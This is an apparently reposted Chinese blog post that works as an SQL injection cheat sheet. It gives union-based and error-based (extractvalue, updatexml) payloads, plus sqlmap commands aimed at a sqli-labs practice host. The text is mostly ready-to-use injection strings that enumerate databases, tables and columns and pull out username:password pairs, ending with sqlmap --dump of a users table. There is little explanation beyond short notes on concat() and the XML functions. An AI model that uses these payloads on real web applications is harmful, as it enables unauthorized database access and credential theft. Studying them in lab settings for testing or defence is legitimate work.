文章目錄
- SQL注入的方法
- 方法一:聯合查詢
- 方法二:報錯注入
- extractvalue() 函式
- updatexml()函式
- 方法三:Sqlmap
SQL注入即是指web應用程式對用戶輸入資料的合法性沒有判斷或過濾不嚴,攻擊者可以在web應用程式中事先定義好的查詢陳述句的結尾上添加額外的SQL陳述句,在管理員不知情的情況下實作非法操作,以此來實作欺騙資料庫服務器執行非授權的任意查詢,從而進一步得到相應的資料資訊,
SQL注入的方法
方法一:聯合查詢
?id=1' order by 3 --+ //查詢列數
?id=-1' union select 1,2,3 --+ //查看輸出列
?id=-1' union select 1,(select user()),3 --+ //查詢用戶名
?id=-1' union select 1,(select database()),3 --+ //查詢資料庫名
?id=-1' union select 1,(select table_name from information_schema.tables where table_schema="資料庫名" limit 0,1),3--+ //單獨爆出表名
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema="資料庫名"),3--+ //爆出全部表名
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name="表名" and table_schema="資料庫名"),3--+ //查詢列名,需要限定表名和庫名
?id=-1' union select 1,(select concat(username,0x3a,password)from 表名 limit 0,1),3 --+ //查詢username和password (limit函式)
?id=-1' union select 1,(select group_concat(username,0x3a,password)from 表名),3 --+ //一次性全部查詢 (group_concat函式)
超過多行時,可以連接(省略limit函式):group_concat()
concat()函式
含義:
將多個字串連接成一個字串,
語法:
concat(str1, str2,…) 回傳結果為連接引數產生的字串,如果有任何一個引數為null,則回傳值為null,
演示:
select concat (id, name) as info from t1;
mysql> select * from t1;
±------±------+
| id | name |
±------±------+
| 10001 | 沙 |
| 10001 | 石 |
| 10001 | 煤 |
| 10002 | 水 |
| 10002 | 鹽 |
| 10002 | 鹽 |
| 10002 | 鹽2 |
±------±------+
方法二:報錯注入
extractvalue() 函式
extractvalue() 函式
對XML檔案進行查詢的函式
其實就是相當于我們熟悉的HTML檔案中用 < div>< p>< a>標簽查找元素一樣
語法:extractvalue(目標xml檔案,xml路徑)
第二個引數 xml中的位置是可操作的地方,xml檔案中查找字符位置是用
/xxx/xxx/xxx/…這種格式,如果我們寫入其他格式,就會報錯,并且會回傳我們寫入的非法格式內容,而這個非法的內容就是我們想要查詢的內容,https://blog.csdn.net/zpy1998zpy/article/details/80631036 菜鳥教程
?id=1' and extractvalue(1,concat(0x7e,(select user()),0x7e)) --+ //爆出用戶名
?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e)) --+ //爆出資料庫名
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="資料庫名"),0x7e)) --+ //一次性爆出所有表名
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="資料庫名" and table_name="表名"),0x7e)) --+ //爆出所有列名
?id=1' and extractvalue(1,concat(0x7e,(select concat(id,0x3a,username,0x3a,password)from 表名 limit 7,1),0x7e)) --+ //爆出id、username和password
updatexml()函式
updatexml()函式與extractvalue()類似,是更新xml檔案的函式,
語法:updatexml(目標xml檔案,xml路徑,更新的內容)
select username from security.user where id=1 and (updatexml(‘anything’,’/xx/xx’,’anything’))
?id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1) --+ // 爆出用戶名
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema="資料庫名"),0x7e),1) --+ //爆出所有表名
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema="資料庫名" and table_name="表名"),0x7e),1) --+ //爆出users表中所有列名
?id=1' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from 表名 limit 0,1),0x7e),1) --+ //爆出資料
方法三:Sqlmap
sqlmap -u "http://10.4.29.170/sqli-labs-master/Less-2/index.php?id=1" --dbs //查詢資料庫名
sqlmap -u "http://10.4.29.170/sqli-labs-master/Less-2/index.php?id=1" -D security --tables //查詢表名
sqlmap -u "http://10.4.29.170/sqli-labs-master/Less-2/index.php?id=1" -T users --column //查詢列名
sqlmap -u "http://10.4.29.170/sqli-labs-master/Less-2/index.php?id=1" -T users -C "username,password" --dump //查詢資料
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/402657.html
標籤:其他
